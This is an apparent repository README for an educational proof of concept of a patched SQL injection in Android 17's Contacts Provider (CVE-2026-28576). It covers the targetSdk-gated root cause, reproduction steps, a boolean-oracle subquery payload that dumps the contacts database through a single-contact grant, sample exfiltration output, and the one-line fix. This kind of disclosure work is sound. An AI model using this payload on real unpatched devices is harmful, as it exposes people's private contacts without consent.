
Educational proof-of-concept demonstrating a SQL injection vulnerability in Android 17's Contacts Provider, allowing a zero-permission app to exfiltrate the entire contacts database via a single-contact URI grant.
One picked contact, every contact: a targetSdk compat gate turns a single-contact picker grant into a full contacts database dump.
Android 17 hardened the Contacts Provider against SQL injection with setStrictColumns() / setStrictGrammar() — but shipped the hardening behind a targetSdk-gated compat change (ENFORCE_STRICT_SQL_CHECKS, id 484953293, enableAfterTargetSdk="36"). Any app targeting SDK 36 or lower silently skips the strict checks, and can hide boolean-oracle subqueries in the query selection to read the entire contacts database through a single-contact URI grant. No READ_CONTACTS, no permissions at all.
Note: We did not discover this vulnerability. This repository contains our independent analysis, reproduction, and educational PoC to help the security community understand the bug class: security fixes gated behind
@EnabledAfter(targetSdkVersion)leave every legacy-target app on the vulnerable path.
| CVE | CVE-2026-28576 (GHSA-ph86-9mcx-3p6r) |
| Severity | High in the bulletin; GitHub's advisory scores it CVSS v4 10.0 (Critical) — arguably high given the preconditions |
| Component | Contacts Provider (ContactsProvider2.queryLocal()) |
| Root Cause | ENFORCE_STRICT_SQL_CHECKS compat change gated behind @EnabledAfter(BAKLAVA) |
| Impact | Any app with a single-contact URI grant reads the entire contacts database without READ_CONTACTS |
| Affected | Android 17, security patch level < 2026-07-01 |
| Patched | Android 17 Security Bulletin |
Full write-up with screenshots and demo video: SQL Injection Still Exists, Even in Android: One Picked Contact, Every Contact (CVE-2026-28576)
├── poc/ # PoC exploit app (UI + system contact picker)
│ ├── src/ # MainActivity.java — picker + boolean-oracle exploit
│ ├── AndroidManifest.xml # ZERO permissions, targetSdk 36
│ └── build.sh # Build without gradle: aapt2 + javac + d8 + apksigner
├── cve-2026-28576-poc.apk # Pre-built PoC APK (debug-signed, ready to install)
├── REPRODUCE.md # Full step-by-step reproduction guide
├── evidence-*.log # Captured vulnerable / patched runs
└── README.md
You need an Android 17 emulator with a security patch level before 2026-07-01
(we used AVD A17-Userdebug, sdk_gphone16k_arm64-userdebug 17 CP31.260623.012,
SPL 2026-07-05 — a beta image that still carries the vulnerable compat gate).
emulator -avd A17-Userdebug -writable-system -no-snapshot &
# Verify the patch level is pre-fix
adb shell getprop ro.build.version.security_patch
# Insert a few victim contacts (as shell, which holds contacts permissions)
adb shell "content insert --uri content://com.android.contacts/raw_contacts \
--bind account_name:s:[email protected] --bind account_type:s:com.google"
adb shell "content insert --uri content://com.android.contacts/data \
--bind raw_contact_id:i:1 --bind mimetype:s:vnd.android.cursor.item/name \
--bind data1:s:'Alice Victim'"
See REPRODUCE.md for the full contact seeding and both run variants.
adb install cve-2026-28576-poc.apk
adb shell am start -n com.poc.cve202628576/.MainActivity
On screen:
checkUriPermission -> 0) and the one contact it is legitimately allowed to see.Requires Android SDK (build-tools 36.0.0, platform android-37.0) and a JDK 17. No gradle needed:
./poc/build.sh # -> poc/build/cve-2026-28576-poc.apk (targetSdk 36, NO permissions)
The grant layer works fine. Android 17's contact picker hands the app a read-only URI grant for exactly one contact: content://com.android.contacts/contacts/lookup/<key>/1. Directly querying anything else is refused with a SecurityException.
The SQL layer does not. Because the PoC targets SDK 36, CompatChanges.isChangeEnabled(ENFORCE_STRICT_SQL_CHECKS, callingUid) returns false and the provider skips setStrictColumns() / setStrictGrammar(). The always-on setStrict(true) parenthesis-wrapping only stops clause breakouts like ') OR 1=1 --; it does nothing about balanced subqueries.
Boolean-oracle injection. The app issues an ordinary-looking query against its granted URI with a subquery hidden in the selection:
contentResolver.query(grantedUri, new String[]{"_id"},
"1 AND (SELECT substr(data1,3,1) FROM data"
+ " WHERE mimetype_id=(SELECT _id FROM mimetypes"
+ " WHERE mimetype='vnd.android.cursor.item/phone_v2')"
+ " ORDER BY _id LIMIT 1 OFFSET 0)='5'", null, null);
If the guessed character matches, the granted row comes back (cursor.getCount() == 1); otherwise the cursor is empty. One query per character guess, iterated over LIMIT 1 OFFSET k for every row and mimetype — a phone number falls in under a second, and the whole database in well under a minute.
On a vulnerable Android 17 build, the zero-permission app exfiltrates all names, phone numbers, and emails through a grant for a single contact (see evidence-picker-run.log):
What I am ALLOWED to see: Alice Victim (one contact)
VULNERABLE: subquery accepted, dumping contacts DB
EXFILTRATED name #1..3: Alice Victim · Bob Manager · Carol Doctor
EXFILTRATED phone #1..3: +1-555-SECRET-01 · +1-555-777-0002 · +1-555-999-0003
EXFILTRATED email #1..3: [email protected] · ...
The fix flips change 484953293 to apply to all callers regardless of targetSdk — a single deleted annotation (public variant: GrapheneOS commit c4129a1c):
@ChangeId
- @EnabledAfter(targetSdkVersion = Build.VERSION_CODES.BAKLAVA)
public static final long ENFORCE_STRICT_SQL_CHECKS = 484953293L;
You can reproduce the exact patched behavior on a vulnerable build without flashing anything:
adb shell am compat enable 484953293 com.poc.cve202628576
# Same query now dies before reaching SQLite:
# IllegalArgumentException: Invalid token SELECT
See evidence-patched-run.log.
Analysis and PoC by Mobile Hacking Lab. We reproduced this vulnerability independently for educational purposes.